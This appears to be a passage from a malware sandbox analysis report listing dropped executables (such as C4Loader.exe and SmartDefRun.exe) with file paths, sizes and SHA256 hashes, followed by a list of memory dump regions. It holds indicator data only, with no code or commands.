                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 948B
                                • SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
                                • MD5 SHA1 SHA512

                                C4Loader.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                                • Size 1.4MB
                                • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                                • MD5 SHA1 SHA512 SSDEEP

                                C4Loader.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                                • Size 1.4MB
                                • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                                • MD5 SHA1 SHA512 SSDEEP

                                SmartDefRun.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                                • Size 3.7MB
                                • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                                • MD5 SHA1 SHA512 SSDEEP

                                SmartDefRun.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                                • Size 3.7MB
                                • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                                • MD5 SHA1 SHA512 SSDEEP

                                SysApp.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                                • Size 1.4MB
                                • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                                • MD5 SHA1 SHA512 SSDEEP

                                SysApp.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                                • Size 1.4MB
                                • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                                • MD5 SHA1 SHA512 SSDEEP

                                new2.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                                • Size 477KB
                                • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                                • MD5 SHA1 SHA512 SSDEEP

                                new2.exe

                                • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                                • Size 477KB
                                • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                                • MD5 SHA1 SHA512 SSDEEP

                                memory/608-225-0x00007FFC25C10000-0x00007FFC25C20000-memory.dmp

                                memory/1116-180-0x0000000005370000-0x0000000005382000-memory.dmp

                                memory/1116-187-0x0000000007040000-0x0000000007202000-memory.dmp

                                memory/1116-186-0x0000000006540000-0x000000000655E000-memory.dmp

                                memory/1116-189-0x0000000006F90000-0x0000000006FE0000-memory.dmp

                                memory/1116-174-0x0000000000400000-0x0000000000420000-memory.dmp

                                memory/1116-179-0x00000000058F0000-0x0000000005F08000-memory.dmp

                                memory/1116-185-0x0000000006380000-0x00000000063F6000-memory.dmp

                                memory/1116-181-0x00000000054A0000-0x00000000055AA000-memory.dmp

                                memory/1116-182-0x0000000005410000-0x000000000544C000-memory.dmp

                                memory/1116-188-0x0000000007740000-0x0000000007C6C000-memory.dmp

                                memory/1228-193-0x00007FFC468B0000-0x00007FFC47371000-memory.dmp

                                memory/1228-191-0x0000020B677D0000-0x0000020B677F2000-memory.dmp

                                memory/1228-194-0x00007FFC468B0000-0x00007FFC47371000-memory.dmp

                                memory/2088-172-0x0000000005650000-0x000000000565A000-memory.dmp

                                memory/2088-165-0x0000000000820000-0x000000000098C000-memory.dmp

                                memory/2088-169-0x0000000005270000-0x0000000005302000-memory.dmp

                                memory/2400-139-0x0000000000400000-0x0000000000405000-memory.dmp

                                memory/2400-133-0x0000000000400000-0x0000000000405000-memory.dmp

                                memory/2604-212-0x00007FFC469D0000-0x00007FFC47491000-memory.dmp

                                memory/2604-213-0x00007FFC65B90000-0x00007FFC65D85000-memory.dmp

                                memory/2604-214-0x00007FFC64530000-0x00007FFC645EE000-memory.dmp

                                memory/2604-221-0x00007FFC65B90000-0x00007FFC65D85000-memory.dmp

                                memory/2604-222-0x00007FFC64530000-0x00007FFC645EE000-memory.dmp

                                memory/3236-157-0x0000000007BA0000-0x0000000007BC2000-memory.dmp

                                memory/3236-148-0x00000000742A0000-0x00000000742EC000-memory.dmp

                                memory/3236-141-0x0000000002F00000-0x0000000002F36000-memory.dmp

                                memory/3236-142-0x0000000005680000-0x0000000005CA8000-memory.dmp

                                memory/3236-158-0x0000000008A80000-0x0000000009024000-memory.dmp

                                memory/3236-156-0x0000000007A80000-0x0000000007A88000-memory.dmp

                                memory/3236-155-0x0000000007A90000-0x0000000007AAA000-memory.dmp

                                memory/3236-154-0x0000000007A40000-0x0000000007A4E000-memory.dmp

                                memory/3236-153-0x0000000007AD0000-0x0000000007B66000-memory.dmp

                                memory/3236-152-0x0000000007880000-0x000000000788A000-memory.dmp

                                memory/3236-143-0x0000000005530000-0x0000000005552000-memory.dmp

                                memory/3236-144-0x0000000005CB0000-0x0000000005D16000-memory.dmp

                                memory/3236-151-0x0000000007810000-0x000000000782A000-memory.dmp

                                memory/3236-145-0x0000000005E90000-0x0000000005EF6000-memory.dmp

                                memory/3236-150-0x0000000007E50000-0x00000000084CA000-memory.dmp

                                memory/3236-146-0x00000000064C0000-0x00000000064DE000-memory.dmp

                                memory/3236-149-0x0000000006AA0000-0x0000000006ABE000-memory.dmp

                                memory/3236-147-0x00000000074A0000-0x00000000074D2000-memory.dmp

                                memory/3492-183-0x0000000002275000-0x0000000002779000-memory.dmp

                                memory/3492-208-0x0000000002784000-0x00000000028C1000-memory.dmp

                                memory/3492-190-0x0000000002275000-0x0000000002779000-memory.dmp

                                memory/3492-184-0x0000000002784000-0x00000000028C1000-memory.dmp

                                memory/3948-215-0x0000000140000000-0x0000000140029000-memory.dmp

                                memory/3948-218-0x0000000140000000-0x0000000140029000-memory.dmp

                                memory/3948-219-0x00007FFC65B90000-0x00007FFC65D85000-memory.dmp

                                memory/3948-220-0x00007FFC64530000-0x00007FFC645EE000-memory.dmp

                                memory/3948-223-0x0000000140000000-0x0000000140029000-memory.dmp

                                memory/3948-224-0x00007FFC65B90000-0x00007FFC65D85000-memory.dmp

                                memory/4732-209-0x00007FFC468B0000-0x00007FFC47371000-memory.dmp

                                memory/4732-207-0x00007FFC468B0000-0x00007FFC47371000-memory.dmp